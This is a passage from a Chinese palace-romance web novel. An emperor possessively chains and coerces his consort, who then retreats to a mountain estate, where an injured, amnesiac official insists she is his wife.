乌时晏阻拦不得,看着戚妤离开。 他吩咐道:“给贵妃送一份午膳,她的宫人也早早送回去,另外宣一名擅长打首饰的匠人。” 在乌时晏下了马车,连忙上前的正是田文善,他恭敬称诺。 戚妤先等来了佩玖,佩玖摸着后颈,一副反应不过来的样子,看见戚妤才迟钝地笑了笑。 佩玖道:“娘娘,不知哪个贼人砍晕了奴婢,奴婢醒来就到行宫了。” 戚妤拉她过来,给她看伤,入目是一道红肿的痕迹,戚妤一边让人将药膏拿来,一边道:“是陛下的人。” 佩玖瞬间噤声,脑袋也清明了许多,再一想当时她旁边确实是陛下的侍卫。 可陛下的人打晕她,是为了什么? 佩玖想到了娘娘的那位竹马,心中不由漫起悲伤,再看娘娘眼底藏不住的寡淡之色,更觉得是在为旧人死去而伤心。 娘娘有过竹马不假,可陛下未免太霸道了。 戚妤用药膏给佩玖上好伤,嘱咐道:“这两日你先歇着,等红痕消了再来本宫跟前。” 她还没意识到佩玖想到哪儿去了。 佩玖眨掉泪花服身:“诺。”便带着药膏下去了。 戚妤懒懒倚在软榻上,在宫人将膳食送进来后,她起身用膳。 再对乌时晏不咸不淡,也得顾全自己的身体,她可没有跟乌时晏死对着干的想法。 南巡的队伍明天才会出发,戚妤在暮色降临便早早睡下了。 因而,乌时晏来时她一无所知,自然也不知道他将一个手环咔擦一声扣在了她手腕上。 直至夜半,戚妤转醒,睡的脑袋晕乎乎的,她想下床去喝水,才发现乌时晏来了,还睡在她身侧。 戚妤的目光略过乌时晏,心中毫无波澜。 然而她刚起身,便被猝不及防拽了下去。 戚妤瞬间清醒,眼睛睁圆,看向腕上冰凉的镯子,镯子通过一条细长的金链连接着乌时晏的手腕,他腕上也有一个比她的大些,更素点的镯子。 不过与其说是镯子,不如说是精美的镣铐。 镯子上的动静惊醒了乌时晏,他眼神从迷蒙到清明不过一瞬。 他握住戚妤的手腕,转瞬虚压了上来:“阿妤要去哪儿?” 乌时晏将戚妤的手放到他的胸膛上,眼眸看向戚妤的唇瓣,透露出渴望,长长的睫毛轻扫。 乌时晏的模样倒映在戚妤眼中。 戚妤不明白,乌时晏什么时候学了这种做派。 简直……不讲道理……低劣至极。 第45章 戚妤想将手收回来, 奈何乌时晏只是轻轻一按,就让她动弹不得。 她深深戳了他一下,气恼过了头,半晌才恢复与他对峙的平静。 戚妤抬起下巴, 动了动腕上的镯子:“这是怎么回事?” 随着她的晃动, 链子也荡了起来。 戚妤恨不得拿剪刀把它绞了, 摔乌时晏脸上。 乌时晏的瞳仁映出金的光泽:“是朕亲自设计并命人打造的一对镯子, 阿妤送朕彩绳, 朕送你镯子。只是这镯子原本没有这条链子, 是朕今天让工匠特意打造的, 因为朕总觉得阿妤会像鸟一样飞走。” 戚妤绷起了脸:“这么说来,原本是份礼物,因为我让你不高兴了,所以你就加了条链子?” 她认真劝告道:“我不是鸟, 你也拴不住我。” 原本她还不舍得乌时晏,好吧也没有很舍不得, 就仅有一点遗憾, 遗憾这样的人就只能短暂相聚一下。 但现在乌时晏暴露了, 她说不出的失望, 面对他没了之前见到就不禁笑起来的喜悦,而是惫懒, 她只想快些走。 乌时晏紧紧抓住戚妤的手腕,字字清楚道:“朕绝无此意!” 他慌了神, 他不怕戚妤不理他, 反正他可以死缠烂打,就怕戚妤认真起来,尤其还是这种善解人意的劝慰语气。 须臾, 他放软语气,姿态放的极低:“是把朕拴在阿妤身边。” 戚妤不信乌时晏的鬼话。 她敷衍道:“陛下,臣妾要下床喝水,可否让一让?” 乌时晏跟在戚妤身后下了床,毕竟这条链子他们得形影不离才好活动。 他动了动手腕,戚妤那边就察觉到了。 乌时晏心想,链子怎么会没用呢,看,因为这条链子,他们才能感受到对方在干什么,若非白天出了那档子事,这只会让他们更亲密才是。 要更多的链子才行。 乌时晏不后悔白日的鲁莽,他只后悔没有处理干净,而将真相大白于戚妤面前。 戚妤没有理乌时晏,乌时晏跟之前很不一样。 他从前在她面前总会很温和,能让她描摹一番明君贤妃的场面,但现在,脸上的温和更像一张假面,每时每刻都在图谋着其他。 明明脸上的疤淡了,气质却古怪起来,若让旁人见到他这副样子,定然魂都要吓没了。 戚妤的困意被乌时晏搅没了,回到床上她就开始琢磨怎么将镯子摘下来。 很快她便发现镯子有卡扣,是扣起来的,因而圈口只比她手腕大一点,很难脱下来,需得找准机关。 戚妤没有气馁,找来一支细长尖锐的簪子,用簪子末端挑开暗藏在镯子下面的锁扣。 只听一声脆响,镯子的圈口变大,戚妤顺利将镯子摘了下来。 乌时晏看着这一幕一言不发,他原本只是想当成礼物送给戚妤,机关设计的自然不精妙,见此他将自己的镯子也摘下,撂到一旁。 不是一对的,自然没有戴的必要。 乌时晏果断将戚妤扑倒:“阿妤好聪明,阿妤解开了镯子,朕理应好好侍奉阿妤。” “这是奖励。” 戚妤力气没有乌时晏大,这在方才就很明显,自然被强行推倒了,她实在气不过,不再冷静,愤然地咬在了乌时晏的胸膛上。 可不管她咬的有多狠,乌时晏都没什么难忍的痛意,反而唇角往上弯了弯,喟叹一声。 戚妤听见这个破声音,不得已松开了口,她喘着气,额发湿润,眼眸乌黑发亮,嘴里还混着乌时晏的一点血。 凶的像小兽一样。 乌时晏将这一幕深深印入眼底,毫不客气地吻了上去。 …… 翌日,戚妤醒来了两次,一次进了乌时晏的车驾中,再次醒来后她便看到乌时晏坐在她身旁拿了个册子在看。 戚妤看清乌时晏在看什么后,气的脸都要红了。 明晃晃的挑衅。 听到动静,乌时晏将手中的东西合上,看向戚妤:“阿妤醒了,饿不饿?” 他自顾自摸上戚妤的腹部:“虽说昨天半夜喝了碗粥,可今天早上还什么都没用,朕已经吩咐人将鱼肉粥温上了,现在取来正好能入口,阿妤可要用一些?” 戚妤昨晚胃口不佳,晚膳只草草用了点,半夜耗体力颇大,她虚的手都在颤,乌时晏便吩咐人煮了粥送来,还说什么若不喝他就亲自喂进去。 实则在乌时晏说这句话前,她就端起了碗,乌时晏实在不必担忧她对自己不好。 后来趁着乌时晏将碗放下,她顺势翻身入睡。 起先她自然是装的,但乌时晏没了动作,她便也沉沉睡了过去。 戚妤问:“陛下不用去处理朝政吗?” 乌时晏:“朕养的那一帮大臣又不是吃干饭的,朕有很多时间可以来陪你。” 戚妤听出了他的言外之意,偏开了头:“陛下先走吧,臣妾好起身。” 乌时晏看着戚妤红红的眼眶,知道这是昨夜流的泪太多的缘故。 戚妤最开始自然不会对他落泪,只死咬着牙看着他,而他看不惯她这副样子,亦憋了一口气,最后她眼窝里都是泪水,也不肯目光盈盈地看向他,他反倒先后悔了。 但是太迟了,乌时晏知道,戚妤心中对他有了芥蒂。 不是恨,而是芥蒂。 乌时晏摸了摸戚妤的头发:“这里没有宫女,你又习惯让人伺候,朕来。” 戚妤没有拒绝,乌时晏愿意服侍,她为何要逆了他的意思? 她不想和狗崽子吵,最终的结果不是被按住亲,就是乌时晏又想涩涩了。 戚妤累,不想和他闹。 乌时晏的手艺实在不行,但还好足够耐心,戚妤被他服侍着洗漱、梳头。 因这两日不会再停留,戚妤便穿了件浅紫色、活动方便的衣裳。 终于离开屏风范围,因为耽误了很长时间,戚妤饿的不行,不必乌时晏劝,便端起鱼粥一勺又一勺喝完。 不过即便喝的快,她也没有丝毫失仪。 像世家大族中养出来的女郎,将用膳礼仪刻进骨子里一样。 乌时晏想到戚妤的身世,她是突然出现,查不到任何父母亲人,但举止却叫人一眼看出不简单,很能引人遐想。 乌时晏也曾怀疑过戚妤是哪家走丢的世家女,但他查遍了怀疑的家族,没有一个对得上。 近十年动荡颇多,一些家族覆灭不过一瞬间,戚妤很可能出身这些家族中。 就是不知……这些覆灭是否出自他手。 乌时晏突然抱住了戚妤。 “怎么了?”戚妤蹙眉,扶了扶意欲滑落的发簪。 乌时晏:“朕不会放你走的。” “嗯嗯嗯。” 轮得到你做主吗? 乌时晏听出了戚妤的敷衍之意,他什么也没说,只是将戚妤抱的更紧了。 他有些后悔在过去处置一些家族时直接斩草除根,十几岁刚通过父皇接触到皇权的他远比现在更激进,只觉非黑即白,更觉得世家的样子虚伪,蚕食了皇权,左右了朝政,又要表现着风范。 衬托的皇室只会争权夺利——虽然确实是这样。 直至现在,他收敛了许多,但对世家仍很吝啬,更愿意提拔新贵,而非世家子- 南巡的队伍中间没有再停,乌时晏好像有修河道的心思,近来召见的臣子都是这方面的。 戚妤倒是收到了乌时晏送来的东西,可看清是什么后,只想扔在乌时晏身上。 又是些链子。 乌时晏跟这些东西杠上了似的。 但戚妤让人将它收了起来,好歹是金子,她现在手头可不太宽裕,找机会熔成金饼,再花出去。 是夜,戚妤从外面走回来,佩玖帮她解下披风。 越往南走,景色就与京城差异越大。 现下夜色已深,戚妤看见田文善和一些御前的太监在屋外,便知道乌时晏在里面。 宫娥的声音放轻,戚妤走了进去,果然见乌时晏坐在床边,拿了本书在看。 乌时晏是知道她今日出去的,但没阻止,只是照例拨了侍卫跟着。 一紧一松,乌时晏特别爱用这样的手段。 戚妤看得分明,没对乌时晏缓和多少,冷脸多于笑脸,即便他凑近,也一脸平静的样子。 也因此,乌时晏这些天生闷气的次数比这几年还要多,性情反复无常,即便喜怒不形于色,也让御前的人察觉到了几分。 乌时晏面对戚妤,则直白许多,也会继续扮可怜,但那一肚子坏水是藏不住的,每到夜深人静之时,落到戚妤身上的目光就不加掩饰。 戚妤一方面觉得乌时晏危险,一方面又会情不自禁地被他拖入漩涡。 一面觉得累,一面觉得爽。 无比矛盾的她只好将更多时间用在练字看书上面,而不去想乌时晏这个人。 戚妤先去沐浴,接着去找乌时晏:“陛下,臣妾想让你帮臣妾擦干头发。” 擦头发是个废人且麻烦的活,尤其戚妤的头发又密又长,需要两三个宫娥同时来绞干才行。 乌时晏无疑是个好帮手,半个时辰下来,再有想法的人也静下心来了。 今天戚妤的发髻意外被树枝卡住,她就有了这个想法。 乌时晏怎会拒接,他眼睛一亮:“好。” 戚妤坐在圆凳上,乌时晏站在她身后,弯腰全神贯注地为她一遍遍的擦发,又梳顺,用手指抚过她的长发。 戚妤坐了一会儿就有些困了,等到乌时晏将头发擦干,她已经迷迷糊糊了。 见状,乌时晏将人打横抱起,抱到了床上。 柔顺的青丝倾泻而下,铺陈开来,乌时晏越看越觉得喜欢,炙热的眼神让戚妤连忙闭紧了眼,装睡。 一夜相安无事。 翌日清晨,戚妤果然又在自己的手腕上发现了新的锁链,连着乌时晏那边。 乌时晏贼心不死。 戚妤娴熟地将金链解开,当然还有乌时晏手上的,然后装进匣子里让人收好。 乌时晏在戚妤有所动作时便醒了。 他道:“阿妤这么喜欢这些?” 如果喜欢的话,倒可以打个脚链。 “臣妾只是可惜金子。” 换任何人来都不会把这些扔了好吗? 乌时晏将戚妤扑倒:“阿妤口是心非。” 戚妤:“……” 一大早自然不允许乌时晏做些什么,便是想亲脸,戚妤都躲开了。 白天如往常一样,队伍又行进了一些。 乌时晏收到了封快马加鞭递来的折子,他看着上面写有裴谨失踪的事,一边暗中派人去找,一边瞒了下来。 原以为再过两日会到裴谨治下,他绝不会再给裴谨见到戚妤的机会。 他和戚妤关系好时,他自然会利用这一层断了裴谨的妄想,不过现在他都自危了,自不敢再有其他动作。 但没想到,裴谨竟然失踪了,思及他们南巡一半,余孽再次猖獗的事,乌时晏料定裴谨失踪与此脱不开干系。 不过他们更想杀的只会是他,若是杀不了他,大概会将目光放到戚妤身上。 明枪易躲暗箭难防,乌时晏再能担保能保护住戚妤,现下也会问自己,真有十全的把握吗? 毕竟这里不比京城。 于是在当晚,乌时晏问:“阿妤,若是有危险,你是想跟在朕身边,还是朕找一个庄子,将你送到那里?去庄子上会有侍卫宫人随侍,朕亦会让你带足暗卫。” 戚妤疑惑地看向乌时晏。 若是之前,她定然寸步不离乌时晏,再没有比他身边更安全了,但现在她果断道:“庄子。” 眼见着乌时晏黑了脸,戚妤往后退了一步干巴巴描补道:“臣妾更想见识一下园林,体会那种自然意趣。” “晚了。” 乌时晏扶住戚妤的腰,不让她再退。 再往后退,都退出屋内了。 戚妤在考虑可不可以学乌时晏扮可怜,让他轻拿轻放,但她实在无法做小伏低,最后也只是抿着唇,蹙眉看他。 乌时晏在她眼尾落下了一个吻:“朕喜欢阿妤这个样子。” 戚妤:“……” 今晚乌时晏带来的是个脚链,戚妤觉得自己的涵养已经很好了,但见到这东西仍在心里把乌时晏骂了个遍。 因为这条嵌着紫色宝石的链子上还有一个小铃铛。 灵敏的很,只是从匣子中拿出来,就响了起来。 他这种人,还是装一装吧。 乌时晏无奈:“阿妤,不要在心里骂朕。” 他确实是让戚妤来拿主意的,若她留在他身边,他定会护她周全,若选后者,他虽然会生恼,也会遵从她的意思。 他会把阿妤藏在一个很好很好的地方,谁也找不到。 只是毫不犹豫选择离开他的代价,自然也是有的。 乌时晏不容置疑地握住戚妤的脚腕,帮她戴了上去。 “阿妤不喜欢玩儿那些链子,朕也从未强求,最后披挂在朕身上,朕也从了。” “阿妤,朕这次只是想听听你的声音。” 铃铛响在戚妤脚踝,可不就是她的声音么。 戚妤闻言,思绪渐飘。 他们确实这样物尽其用过,她当时被他逼的口不择言,很恶劣的说: 陛下仅是将我当个玩意儿,若不然,为何送了这些给我,怎么不用你身上? 然后就真的用在了乌时晏身上。 戚妤对脚踝上的东西好像没那么抗拒了,乌时晏这人,无论怎样占有欲强,想将她吞入腹中,也没动她一根手指。 连落下的痕迹都很轻,第二日便会消了。 倒是乌时晏身上,她的牙印,抓痕,指甲印倒是不少。 戚妤心生过怜悯,伸手轻抚过,想要吻一吻,可在乌时晏的目光下,她还是退缩了。 今晚注定是个不平静的夜晚。 乌时晏落下的惩罚比往日都要久,也更加废床。 都要让人疑心这床承受不承受得住了。 戚妤不知道多少次咬着牙,湿润着眼看向乌时晏,然而乌时晏不为所动:“阿妤要记下今晚,若下次再抛下朕,就不止这样了。” 乌时晏伸手覆住戚妤的眼,温柔缱绻道:“阿妤不要作弊。” 不可以这般乱他心池。 戚妤内心抓狂不已,她快要因此恨上乌时晏了。 裴谨在这方面都比他好一百倍。 若乌时晏再问一万遍,她也会是这个答案。 走!走!走! 立刻远走高飞!离乌时晏远远的!! 第46章 戚妤离开的时候, 舍了繁复的衣裙,穿了一身利落的骑装。 佩玖将她的头发用发冠束了起来,一缕发丝也没垂下,稳固了许多, 不过她这般也仍能让人一眼看出是名女子。 南巡的队伍常有人离开又回来, 他们这队人马离去也不算突兀。 当乌时晏在行宫落脚时, 戚妤也到了乌时晏所说的庄子上。 这是栋很大的宅子。 宅子依山傍水, 坐落于僻静之地, 但离附近的城池很近, 山上还有一座道观, 戚妤来时便碰见了几名修行的道姑,让了路方到宅子处。 佩玖上前敲门,并拿出了令牌,宅子的管事见到令牌, 将门大开,把他们引了进去。 管事提前两日便得到了消息, 收到了好几辆马车拉的箱笼, 自然知道会有人到宅子上落脚, 因此提前便将庭院收拾干净了。 即便院中有一棵老树, 又是秋日,地上也不见一片枯叶。 这宅子不知道是乌时晏什么时候购置的, 里面的奴仆不多,戚妤让人将东西归置了, 便有条理地安排好带来的人。 暗卫和侍卫自有章程, 戚妤也不多插手。 有意思的是,暗卫中卫四也在。 卫四的武功好,但隐匿的功夫就差很多, 比不上林七。 现在已经入秋,山风吹过,说不出的冷瑟,戚妤便让人去附近城里多买了些厚衣裳。 她的衣裳自然是够的,但佩玖他们带的东西却不算多。 不过只要银子够,即便是成衣,也分外精美,不输了宫里赶制的。 等他们暂时住下,又两日,连下了两场秋雨,雨水过后,冷风侵肌,佩玖方反应过来娘娘的用意。 来了宅子上几天,不止佩玖,就连戚妤都感觉自己的笑容多了起来。 今日天空一碧如洗,雨已经停了两日,地上也干爽起来了,估摸着是不太会下雨。 戚妤听到动静,便道:“佩玖,我们去城里一趟吧。” 这个地方最有名的酒是桃花酿,也有许多京中吃不到的瓜果。 佩玖将盘子放下,笑道:“好啊,奴婢早就想出门逛逛了。” 上次的事着实吓到了她,但现在陛下不在,应该问题不大。 戚妤收拾了一番,穿了件天青色衣衫,便与佩玖乘马车出门了。 这一行很是顺利,戚妤坐在茶楼津津有味地听说书人抑扬顿挫的讲故事,下午又去逛了铺子,佩玖则带着人去买来了点心、酒水、瓜果、茶叶等等才回来,其他宫人也各去买了些东西,最终碰头后满载而归。 回去后,戚妤看着买回来的桃花酿,立刻就让人倒在酒杯里,她尝了一口。 味道醇香回甘,别有一番滋味。 有宫娥上前道:“娘娘,后院的汤池已经打理好了,娘娘今夜可要去沐浴?” 戚妤点头:“就今晚。” 这宅子颇大,一部分连接着山,后院的一处汤池就是自然形成的温泉,没有搭建屋梁,抬头便能看见满天繁星。 前几天下雨,雨水落进了池子里,她才没立刻享用。 入夜,戚妤的住处本就在后院,她经过两条曲廊便看见了沐浴的温汤。 汤池冒着上涌的热气,周围用似梦似幻的淡紫浅粉的纱帐层层遮住,地上铺着柔软的毯子,池子旁边的托盘上,则放着她的衣物和沐浴用的东西。 戚妤的手边有一座袅袅升起细烟的香炉,她看见池中飘着的金盘上面放有酒壶和酒杯,不禁猜测是桃花酿。 当然,瓜果点心一应俱全。 侍奉的宫娥还没进来,戚妤将手伸进暖融融的水中感受了下水流的力度,而后拿起酒壶嗅了嗅,果然是桃花酿。 见猜对了,戚妤弯了下唇。 然而,还不待她下水,山上似有什么东西滚落,戚妤正欲退远,便听一声咚的砸水声,汤池水被溅了出来,池中浮沉着一个人。 这一切都发生在转瞬之间。 不过更不妙的是,汤池水随之被染红了。 戚妤当即唤林七出来,将这人交给她处理后扭头就走。 即便看过乌时晏杀人,可真面对一个死人时,她还是难以适应。 汤池中沉浮的人并没有死,在他顺着崖壁减缓坠落的冲击力后,温水给了他最后一层保障。 温热的水流将他包裹,更是让他一动也不想动,只想沉在水底。 意识在缓缓模糊时,却倏然听到熟悉的声音,他胡乱挣扎着从水中抬起了头。 林七已经出现在了他面前。 林七语气不确定道:“娘娘,这好似是裴大人。” 实在不怪她不敢认,而是裴谨这个样子着实狼狈,眼下青黑像用力画上去似的,下巴冒出来了一层青茬,脸上是擦伤,身上应该也有伤。 裴谨反应过来自己是何模样,便将食指竖在了唇前。 但戚妤在听到林七的话便止了步,快步走了回来。 裴谨不得已,重新将头埋进了水中。 戚妤眼中惊讶,她迅速吩咐道:“让随行的御医先去房间等候,林七,你去唤卫四,让他将裴大人带去房中医治。” 戚妤上前,捧起裴谨的脸将他从水里带了出来。 裴谨闭着的眼缓缓睁开,窘迫不已,声音也不由低沉:“夫人。” 最丢脸的一面展现在记忆中最深刻的夫人面前,他难为情到顾不得身上的伤。 夫人捧上他的脸颊,他顺从地抬起了脸,不敢让夫人费力。 戚妤睁大了眼睛,她疑惑出声:“什么?” 裴谨的脸颊是不正常的滚烫,眼眸温和毅然,似不掺杂任何杂质。 裴谨闻言,肯定地重复了一遍:“夫人。” 戚妤看着他,心里有些乱的想:难道先前在裴府裴谨便认出了?不然现在怎么会对着她唤夫人? “我叫什么?”戚妤蹙眉问。 裴谨一言不发。 他觉得一旦叫出戚妤这两个字,就有不好的事发生,比追杀还要难熬。 这时,卫四过来了,戚妤松开手,将人交给卫四,也跟着去了放裴谨的屋内。 御医在给裴谨诊治,包扎伤口。 他腹部有一道伤,再深些肠子都出来了,又经过几次撕裂,惨不忍睹,亦让他元气大伤。 裴谨的目光若有若无看向戚妤。 卫四对戚妤道:“娘娘,得尽快将裴大人在这里的事禀告给陛下了,此事恐关朝局。” 戚妤利索应下:“好。” 卫四领命,让一名擅长轻功的暗卫带着这则消息日夜兼程去找陛下。 他们是可以飞鸽传书,但这等要紧事一旦中间出问题,将会造成不可挽回的后果。 卫四这么积极,一方面是他忠于陛下,另一方面则是他看出这裴大人好似失忆了,误将娘娘认成了记忆中的夫人。 而他也是少数知晓乞巧节之后发生的事的人,卫四觉得尽早将这件事一五一十告诉陛下为妙。 让陛下去烦扰吧。 半个时辰后,御医擦了下额头上的汗,从床边退过来道:“娘娘,裴大人身上的伤口已经处理好了,除了腹部的伤,裴大人的脑后也受了伤。裴大人的样子,应是脑内淤堵,导致失了些记忆,微臣并不擅治颅内的伤,对此也毫无办法。” “娘娘可遣人问一问裴大人,看他还记得什么。” 折腾到现在,方才裴谨那里也是有动静的,戚妤心里已经和卫四一样有了大致猜测。 但听到御医的话,她还是失神了一瞬。 失忆? 戚妤让人出去,独留佩玖一人。 她走到床边,看向裴谨问道:“裴大人,你还记得什么?” 裴谨看向佩玖:“不记得她,只记得你。” 佩玖怒瞪了一眼裴谨,裴大人这样的说法活似心里早早有了娘娘。 戚妤困惑地眨眼,佩玖跟在她身边,裴谨这么聪明,不会没有印象,现下应该是佩玖在她身边的记忆他全不记得了。 裴谨拉起戚妤的手,用手指在她手心写下两个字:裴郎。 见戚妤还是不懂,裴谨道:“蘅芜院。” 裴谨没有直接说,是因为他一点就透,方才人人唤他夫人为娘娘的声音还犹在耳畔,但他又不可能认错夫人。 那便说明他记忆中蘅芜院的日子和现在之间突生了许多变故。 比如陛下看中了他夫人,将他夫人强抢回宫,又将他贬斥出京。 这也能解释清为什么他记忆中的日子是在京中,现在却是流落他乡、被追杀,身上证明身份的东西则表明他是个小小的地方官。 可恨可叹。 然而,碍于夫人身边的婢女,他只能写下裴郎二字,而不至于说出口让这两个字给戚妤招来灾祸。 戚妤让佩玖出去,见门关上,她道:“我不是你夫人,你夫人是和我长的很像的一位女子,名叫赵婉仪。” 裴谨问:“那夫人为何不敢看着我说?” 戚妤便看向他。 裴谨喉咙里溢出笑声:“我不会认错自己的夫人,而且你右边的肩胛骨上有一个小龟形状的粉红色胎记,这个总错不了。” 在上早朝的前一夜,他便意外发现了,从此记忆深刻。 戚妤摸上右边的肩膀,一时无法确定。 从前宫娥给她沐浴,提过她的背光洁无痕,但乞巧节回宫后,乌时晏的视线不止一次落在那里。 南巡的路上更是变本加厉,手指轻捻着那一处,有时甚至会说可爱,彼时的她实在无力招架,自然没将其放在心上。 戚妤模棱两可道:“裴大人好好养伤,我明日再来看你。” 落在裴谨眼中,便是戚妤落荒而逃了,他不由有些沉默。 是他逼得她太紧了? 可不认夫人这种事他干不出来。 从这间屋子出来,戚妤吩咐人好好照顾裴谨,便拉着佩玖回了房内。 在屏风后面,戚妤解开上衣:“佩玖,我右边的背上有什么胎记没有?” “有的娘娘,是小小一块,像小龟一样。” 佩玖手指轻扫:“好似在娘娘从庄子上回宫后奴婢便有印象了。” 以前她倒记不清有没有了。 戚妤将衣裳重新穿好,佩玖指过的地方,确实是裴谨描述的地方。 她怀疑是破厄花药力的作用,让她生出了胎记。 而她给乌时晏解毒后,又在裴府呆了一天一夜,许是那时,裴谨便记下了。 真是瞎猫碰上死耗子,怎么就落了这个把柄? 让人辩也辩不成了。 戚妤在想明日怎么敷衍裴谨,裴谨这等朝廷要臣,伤成这个样子,又疑似被追杀,送肯定是送不走了。 而乌时晏什么时候来还不确定。 但大抵会很迟,需得料理完他防备的势力,才会过来,不然他将她放在这里的意义就没了。 戚妤思考着这个难题,准备明天先看一看裴谨腹部的伤,再做打算。 第47章 裴谨这一觉睡的很久, 直到第二天下午才醒了过来。 御医重新给他上了药,他起来梳洗了一番,直到闻着自己身上不再是潮湿的泥土味,这才罢休, 只是一番折腾, 脸上病态的红晕更明显了。 见到戚妤来, 裴谨不禁露出克制的笑意。 戚妤看着穿了身白衣青衫, 额前的碎发并没有一丝不苟梳上去, 是半披在身后, 似经雨洗过的翠竹的裴谨, 目光不由多停留了几下。 不知是不是错觉,裴谨的神情透露着忍辱负重。 但他的隐忍不是对她的,面对她,眼中都光亮了许多, 在光线不强的室内尤为明显。 戚妤道:“我不是你夫人。” 她今日来,就是这一件事。 裴谨嗯了一声, 笑意更深。 在他心里, 这只不过是托辞, 如果真不是, 昨晚就该直截了当说背上没有胎记,而不是又回屋求证, 今天才来回答他。 且这个答复太过苍白无力,换谁来都不会信。 戚妤见他还是不信, 也不过多解释, 难道他失忆了缠上她,反倒是她的错不成? 且裴谨笃定是她也不算错,他只记得蘅芜院的日子。 况且即便她在这期间怎么了他, 他清醒后还能找她一个贵妃负责吗? 想也不可能。 戚妤单刀直入:“我想看一下你腹部的伤。” 裴谨解开衣衫:“刚包扎过,只缠着绷带,看不出什么。” 戚妤的目光随即落在了裴谨拉开衣襟的手上,青筋趴伏,骨节宽粗,光从手背上就能看出力量感。 大抵是写字写多了的缘故,裴谨毕竟是个文臣。 但该说不说,即便手上落了些伤,又洗的伤口发白,也很利落干净。 戚妤这样想着的时候,她的手已经不知不觉落在了他腰腹的绷带上,指尖轻滑,像在丈量着什么。 确实如裴谨所说,看不出什么。 “好好养伤。”戚妤缓过神道,准备将手抽走离开。 裴谨见状连忙抓住戚妤的指尖:“头上的伤还没看。” 戚妤只好绕到他身后,将他的头发掀起,看后脑勺的伤。 看罢,她只觉得裴谨命大。 裴谨道:“前几天下雨,我趁着雨势躲开了追来的人,并藏在山上的道观度过了两日,昨天本想趁着山路不泥泞,看看能不能翻过这座山,结果脚下打滑,便坠了下来。” “但是我实在幸运,遇见了夫人。” 戚妤绕回到裴谨面前,她一边想着要把裴谨说的事告诉卫四,一边唬着脸道:“不许再叫夫人了。” 被乌时晏听见,神仙也难救。 裴谨眼尾一垂:“可除了夫人、娘子,为夫实在不知道该唤什么了。” 他没法唤戚妤、阿妤之类最平常的称呼。 他好似不应该知道夫人叫戚妤才对。 戚妤:“那就什么也不唤,陛下过些日子会来,裴大人有什么事直接向他禀报。” 裴谨左耳朵进,右耳朵出,他眼神飘忽,像在酝酿着什么。 “嘶——” 戚妤蹙眉,急忙问:“怎么了,是伤口疼?” 裴谨点头,顺势将戚妤的手放在他腹部,露出点笑意:“但娘子摸一摸就不疼了。” 戚妤看了他一眼,用力往下一按。 顿时,裴谨额头渗出了冷汗。 戚妤盯着他略微歪头:“疼就叫御医。” 裴谨失落一笑,而后整个人倒向了戚妤,下巴枕在她的肩膀上。 “这次真的很疼……娘子,让我靠一会儿。” 裴谨很重,戚妤觉得他是在报复她,所以毫无保留地支撑在她身上,她只得扶住裴谨的胳膊,才不至于双双倒地。 戚妤正欲将他推开,但想到方才是她重重按了他一下,才导致这样的局面,便什么脾气也没有了。 她跟一个可怜的伤患争什么? 裴谨一点起来的意思都没有,戚妤瞅准一旁的软榻,摇摇晃晃往那边移去。 几步路后,戚妤想将裴谨推到软榻上,但裴谨反应更快,一阵天旋地转,她便不知怎么压在了裴谨身上,发丝擦过他的脸颊,她入目便是他的喉结。 裴谨额上的冷汗下的更快了。 戚妤着急想从裴谨身上下来,却被拉住了手腕。 她恼道:“方才摁一下都疼的受不了,现在拿身体当垫子,裴谨,你要干什么?” 裴谨费力挤出一抹笑道:“夫人终于不叫我裴大人了,裴大人听着生分。” 戚妤心道,夫人听着就不生分了吗? 但裴谨的记忆中应该没唤过她其他,如今才夫人娘子的叫。 不过现在明显不是论这些的时候。 戚妤冷了脸,挣开他的手道:“裴大人,本宫让人去传御医。” 她是忽然想到了裴谨,想看一看裴谨伤势恢复的如何了,才到这里,因此身边没有跟着宫人,而侍奉裴谨的人在她来时,便因要换茶盏而离开了。 她身边,仅有一个林七。 但林七不太管她的任何事,只在她有需要的时候出现。 戚妤出去找宫人让其将御医带来。 看着戚妤离开,裴谨支起上身,即便额头上的冷汗凝成了更大的水珠,他的精神头看着却是好多了。 他一看到戚妤,便觉安定,精神大好再正常不过了。 夫人,真乃灵丹妙药。 裴谨看向腹部的伤口,心道,不能这么快好全,只要伤在一日,戚妤便会对他多一分包容。 原本在他向她靠过去时,戚妤是可以推开他的,但她没有,因为怕伤到他。 戚妤离开后便没再回去,她让人将卫四叫过来,把裴谨告诉她的一股脑告知了卫四。 戚妤问:“追杀裴谨的人,可是与陛下有关?” 卫四没想到这么直接,他愣了一下才否认道:“不是。” “陛下要杀人,不会留这么久。” 戚妤对卫四最后补充的话不置可否。 她又问:“关于裴大人遇刺,陛下那边可有什么成算?” “有的。”提前知道裴大人失踪算不算? 戚妤点头:“那本宫就放心了。” 她将此事撂开,时间悠然,就寝前,她饮了两杯酒才去睡下。 半夜,廊下亮起两盏灯,戚妤被亮的睁开了眼,她扶着头坐起来让屋内守着的宫人出去看看发生了什么。 宫人很快回来:“回禀娘娘,是裴大人夜里起了高热,御医连夜赶过去,但因夜视艰难,宫人就自作主张将灯笼点上了。” 戚妤宽和道:“理应如此。” 跟着她来宅子上的御医姓吴,年纪很大了,但医术绝佳,宫人迁就他点灯再合适不过了。 且裴谨如今能渐渐恢复,吴御医功劳不小。 戚妤不睡了,起身换了身衣裳准备去裴谨那里走一趟。 她看了眼困倦的宫人,便让她留了下来。 裴谨的屋子离她住处不远,刚到,戚妤便听到了里面吴御医的声音:“不该如此啊,算了,药熬好没?趁着他还有意识抓紧灌下去,不然就不好喂了。” “裴大人,喝完药你好好睡一觉,切不可再做费精力的事了。” 戚妤进去,便见到裴谨扶着碗,将药一饮而尽,见到她来,笑起时也难掩疲惫。 风水轮流转,这次轮到裴谨生病了。 但裴谨白日看着还好好的,虽然她最后没有来,但也有人向她禀报裴大人无事。 缘何过了几个时辰就病的这样严重? 吴御医年纪大,不能熬,见脉诊了,药也喂了,便跟着宫人去附近的屋内的歇下。 裴谨抬眼,侍奉他的人就退了出去。 他语气微扬:“你来了。” 戚妤走近:“别动!” 裴谨只好放弃准备起身的动作,一眨不眨的看向戚妤。 戚妤道:“快些睡吧,御医的话总得听。” 混着屋内的烛光,戚妤身上莫名有种温柔的感觉。 裴谨低声道:“我以为你不会来了。” 毕竟下午就没来,但没想到还是心软了。 他伸出手:“我记忆里只剩你了,你在,我才能安稳入睡,除非将我打昏过去,不然娘子可否握一会儿我的手?” 戚妤犹豫不决了三息,终是搭了上去,不厌其烦催促道:“快睡。” 双手相叠,裴谨高兴地握了上去。 屋外还有宫人走动、低声说话的声音。 